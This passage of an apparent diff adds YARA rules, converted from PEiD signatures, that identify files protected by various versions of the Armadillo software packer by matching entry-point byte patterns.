+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4}
+    condition:
+        $a
+}
+
+rule PEiD_00116_Armadillo_3_00a____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.00a -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F}
+    condition:
+        $a
+}
+
+rule PEiD_00117_Armadillo_3_00a____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.00a -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD 26 42}
+    condition:
+        $a
+}
+
+rule PEiD_00118_Armadillo_3_01__3_05_
+{
+    meta:
+        description = "[Armadillo 3.01, 3.05]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F}
+    condition:
+        $a
+}
+
+rule PEiD_00119_Armadillo_3_10_
+{
+    meta:
+        description = "[Armadillo 3.10]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 97 44 00 68 20 C0 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 4C 41 44 00 33 D2 8A D4 89 15 90 A1 44 00 8B C8 81 E1 FF 00 00 00 89 0D 8C A1 44 00 C1 E1 08 03 CA 89 0D 88 A1 44 00 C1 E8 10 A3 84 A1}
+    condition:
+        $a
+}
+
+rule PEiD_00120_Armadillo_3_6x____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.6x -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD AB 76}
+    condition:
+        $a
+}
+
+rule PEiD_00121_Armadillo_3_7x____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.7x -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 B8 3B 01 00 00 03 C5 33 DB 81 C3 01 01 01 01 31 18 81 38 78 54 00 00 74 04 31 18 EB EC}
+    condition:
+        $a
+}
+rule PEiD_00122_Armadillo_3_X_5_X____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.X-5.X -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08}
+    condition:
+        $a
+}
+
+rule PEiD_00123_Armadillo_3_X_5_X____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.X-5.X -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 60 33 C9 75 02 EB 15 EB 33}
+    condition:
+        $a
+}
+
+rule PEiD_00124_Armadillo_4_00_0053____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.00.0053 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 20 8B 4B 00 68 80 E4 48 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4B 00 33 D2 8A D4 89 15 A4 A1 4B 00 8B C8 81 E1 FF 00 00 00 89 0D A0 A1 4B 00 C1 E1 08 03 CA 89 0D 9C A1 4B 00 C1 E8 10 A3 98 A1}
+    condition:
+        $a
+}
+
+rule PEiD_00125_Armadillo_4_10____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.10 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 F8 8E 4C 00 68 D0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 7C A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 78 A5 4C 00 C1 E1 08 03 CA 89 0D 74 A5 4C 00 C1 E8 10 A3 70 A5}
+    condition:
+        $a
+}
+
+rule PEiD_00126_Armadillo_4_20____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.20 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 F8 8E 4C 00 68 F0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 84 A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 80 A5 4C 00 C1 E1 08 03 CA 89 0D 7C A5 4C 00 C1 E8 10 A3 78 A5}
+    condition:
+        $a
+}
+
+rule PEiD_00127_Armadillo_4_30___4_40____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.30 - 4.40 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 ?? ?? 00 68 80 ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 ?? ?? 00 33 D2 8A D4 89 15 30 ?? ?? 00 8B C8 81 E1 FF 00 00 00 89 0D 2C ?? ?? 00 C1 E1 08 03 CA 89 0D 28 ?? ?? 00 C1 E8 10 A3 24}
+    condition:
+        $a
+}
+
+rule PEiD_00128_Armadillo_4_30a____Silicon_Realms_Toolworks__h__
+{
+    meta:
+        description = "[Armadillo 4.30a -> Silicon Realms Toolworks (h)]"
+        ep_only = "false"
+    strings:
+        $a = {44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 41 4E 53 49 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 73 27 20 61 6E 64 20 27 25 73 27 00 00 00 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 55 4E 49 43 4F 44 45 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 53 27 20 61 6E 64 20 27 25 53 27 00 00 00 00 50 75 74 53 74 72 69 6E 67 28 27 25 73 27 29 00 47 65 74 53 74 72 69 6E 67 28 29 2C 20 66 61 6C 73 65 00 00 47 65 74 53}
+    condition:
+        $a
+}
+
+rule PEiD_00129_Armadillo_4_30a____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.30a -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 41 4E 53 49 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 73 27 20 61 6E 64 20 27 25 73 27 00 00 00 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 55 4E 49 43}
+    condition:
+        $a
+}
+
+rule PEiD_00130_Armadillo_4_40____Silicon_Realms_Toolworks__h__
+{
+    meta:
+        description = "[Armadillo 4.40 -> Silicon Realms Toolworks (h)]"
+        ep_only = "false"
+    strings:
+        $a = {31 2E 31 2E 34 00 00 00 C2 E0 94 BE 93 FC DE C6 B6 24 83 F7 D2 A4 92 77 40 27 CF EB D8 6F 50 B4 B5 29 24 FA 45 08 04 52 D5 1B D2 8C 8A 1E 6E FF 8C 5F 42 89 F1 83 B1 27 C5 69 57 FC 55 0A DD 44 BE 2A 02 97 6B 65 15 AA 31 E9 28 7D 49 1B DF B5 5D 08 A8 BA A8 73 DC F6 D1 05 42 55 53 79 73 74 65 6D 00 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 44 44 45 20 50 72 6F 63 65 73 73 69 6E 67 00 00 53 77 50 44 44 45 00 00 44 00 44 00 45 00 20 00 50 00 72 00 6F 00 63 00 65 00 73 00 73 00 69 00 6E 00 67 00 00 00 00 00 53 00 77 00 50 00 44 00 44 00 45 00 00 00 00 00 3C 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00131_Armadillo_4_40____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.40 -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {31 2E 31 2E 34 00 00 00 C2 E0 94 BE 93 FC DE C6 B6 24 83 F7 D2 A4 92 77 40 27 CF EB D8 6F 50 B4 B5 29 24 FA 45 08 04 52 D5 1B D2 8C 8A 1E 6E FF 8C 5F 42 89 F1 83 B1 27 C5 69 57 FC 55 0A DD 44 BE 2A 02 97 6B 65 15 AA 31 E9 28 7D 49 1B DF B5 5D 08 A8 BA A8}
+    condition:
+        $a
+}
+
+rule PEiD_00132_Armadillo_4_44a_public_build____Silicon_Realms_Toolworks__h__
+{
+    meta:
+        description = "[Armadillo 4.44a public build -> Silicon Realms Toolworks (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 EC 0C 53 56 57 8B 45 08 50 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 FC 8B 45 FC 51 B9 00 08 00 00 B9 06 00 00 00 F7 D1 0F C8 F7 D1 41 41 41 41 41 41 41 83 C1 04 41 41 41 41 83 C1 03 41 41 41 41 41 41 49 41 FE C1 FE C1 FE C1 83 C1 0D FE C1 FE C1 FE C1 FE C1 FE C1 83 C1 0A 49 52 BA 04 00 00 00 03 CA 41 5A 0F C8 23 C1 59 F7 D8 1B C0 F7 D8 5A 89 45 F4 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? D1 E1 89 4D F8 83 7D F4 00 74 09 8B 55 F8 83 CA 01 89 55 F8 8B 45 F8 50 FF 15 ?? ?? ?? ?? 83 C4 04 5F 5E 5B 8B E5 5D C3 55 8B EC 83 EC 0C 53 56 57 8B 45 08 50 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 FC 8B 45 FC 53 BB 80 00 00 00 EB 05 BB 04 00 00 00 BB 32 00 00 00 F7 D3 0F C8 F7 D3 43 43 83 E0 00 83 C3 08 4B 51 B9 04 00 00 00 03 D9 43 59 0F C8 40 5B 89 45 F4 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? D1 E1 89 4D F8 83 7D F4 00 74 09 8B 55 F8 83 CA 01 89 55 F8 8B 45 F8 50 FF 15 ?? ?? ?? ?? 83 C4 04 5F 5E 5B 8B E5 5D C3 55 8B EC 83 EC 0C 53 56 57 8B 45 08 50 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 FC 8B 45 FC 70 07 7C 03 EB 05 E9 74 FB EB F9 53 BB FF FF 00 00 23 C3 51 B5 2C 80 ED 01 80 ED 20 FE CD FE CD 80 ED 04 FE CD 80 ED 03 FE CD 22 E5 B1 70 80 E9 02 FE C9 FE C9 FE C9 80 E9 06 F6 D0 0F C9 F6 D0 0F C9 FE C9 FE C9 80 E9 10 FE C9 FE C9 80 C1 0C FE C9 FE C9 FE C9 70 07 7C 03 EB 05 C7 74 FB EB F9 FE C9 FE C9 FE C9 FE C9 80 E9 10 80 E9 01 FE C9 FE C9 FE C9 FE C9 FE C9 FE C9 FE C9 FE C9 F7 D1 0F C8 F7 D1 0F C8 FE C1 80 C1 02 22 C1 59 5B 85 C0 0F 85 94 00 00 00 8B 45 FC 53 BB 00 08 00 00 EB 05 BB 80 00 00 00 BB 72 00 00 00 F7 D3 0F C8 F7 D3 43 43 83 C3 08 4B 51 B9 04 00 00 00 03 D9 43 59 0F C8 23 C3 5B F7 D8 1B C0 40 5A 8B C8 51 8B 45 FC 52 BA FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00133_Armadillo_5_0_Dll____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 5.0 Dll -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 75 05 E8 DE 4B 00 00 FF 74 24 04 8B 4C 24 10 8B 54 24 0C E8 ED FE FF FF 59 C2 0C 00 6A 0C 68 ?? ?? ?? ?? E8 E5 24 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 8F 15 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 20 15 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? 03 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 D7 23 00 00 59 89 7D FC FF 75 08 E8 EC 53 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 2B C5 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 19 ED FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 7D 22 00 00 59 C3}
+    condition:
+        $a
+}
+rule PEiD_00134_Armadillo_5_00____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 5.00 -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {E8 E3 40 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 44 15 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 36 13 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 C7 12 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75}
+    condition:
+        $a
+}
+
+rule PEiD_00135_Armadillo_5_00____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 5.00 -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {E8 E3 40 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 44 15 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 36 13 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 C7 12 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? 03 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 48 11 00 00 59 89 7D FC FF 75 08 E8 01 49 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 66 D3 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 AF F9 FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 EE 0F 00 00 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00136_Armadillo_5_00_Dll____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 5.00 Dll -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 75 05 E8 DE 4B 00 00 FF 74 24 04 8B 4C 24 10 8B 54 24 0C E8 ED FE FF FF 59 C2 0C 00 6A 0C 68 ?? ?? ?? ?? E8 E5 24 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 8F 15 00 00 C7 00 0C 00 00 00 57 57 57 57 57}
+    condition:
+        $a
+}
+
+rule PEiD_00137_Armadillo_v1_60a_
+{
+    meta:
+        description = "[Armadillo v1.60a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 98 71 40 00 68 48 2D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00138_Armadillo_v1_71_
+{
+    meta:
+        description = "[Armadillo v1.71]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1}
+    condition:
+        $a
+}
+
+rule PEiD_00139_Armadillo_v1_72___v1_73_
+{
+    meta:
+        description = "[Armadillo v1.72 - v1.73]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E8 C1 ?? ?? 68 F4 86 ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00140_Armadillo_v1_77_
+{
+    meta:
+        description = "[Armadillo v1.77]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 B0 71 40 00 68 6C 37 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00141_Armadillo_v1_80_
+{
+    meta:
+        description = "[Armadillo v1.80]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E8 C1 00 00 68 F4 86 00 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00142_Armadillo_v1_82_
+{
+    meta:
+        description = "[Armadillo v1.82]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 C1 40 00 68 74 81 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+rule PEiD_00143_Armadillo_v1_83_
+{
+    meta:
+        description = "[Armadillo v1.83]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 C1 40 00 68 64 84 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00144_Armadillo_v1_84_
+{
+    meta:
+        description = "[Armadillo v1.84]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E8 C1 40 00 68 F4 86 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00145_Armadillo_v1_90_
+{
+    meta:
+        description = "[Armadillo v1.90]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 10 F2 40 00 68 64 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00146_Armadillo_v1_90a_
+{
+    meta:
+        description = "[Armadillo v1.90a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 64 FF 68 10 F2 40 00 68 14 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00147_Armadillo_v1_90b1_
+{
+    meta:
+        description = "[Armadillo v1.90b1]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 C1 40 00 68 04 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00148_Armadillo_v1_90b2_
+{
+    meta:
+        description = "[Armadillo v1.90b2]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 F0 C1 40 00 68 A4 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00149_Armadillo_v1_90b3_
+{
+    meta:
+        description = "[Armadillo v1.90b3]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 08 E2 40 00 68 94 95 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00150_Armadillo_v1_90b4_
+{
+    meta:
+        description = "[Armadillo v1.90b4]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 08 E2 40 00 68 B4 96 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00151_Armadillo_v1_90c_
+{
+    meta:
+        description = "[Armadillo v1.90c]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 10 F2 40 00 68 74 9D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+rule PEiD_00152_Armadillo_v1_9x_
+{
+    meta:
+        description = "[Armadillo v1.9x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 98 ?? ?? ?? 68 10 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_00153_Armadillo_v1_xx___v2_xx_
+{
+    meta:
+        description = "[Armadillo v1.xx - v2.xx]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6}
+    condition:
+        $a
+}
+
+rule PEiD_00154_Armadillo_v2_00_
+{
+    meta:
+        description = "[Armadillo v2.00]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 00 02 41 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00155_Armadillo_v2_00b2_2_00b3_
+{
+    meta:
+        description = "[Armadillo v2.00b2-2.00b3]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 00 F2 40 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00156_Armadillo_v2_01_
+{
+    meta:
+        description = "[Armadillo v2.01]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 08 02 41 00 68 04 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00157_Armadillo_v2_10b2_
+{
+    meta:
+        description = "[Armadillo v2.10b2]"
+        ep_only = "true"
+    strings:
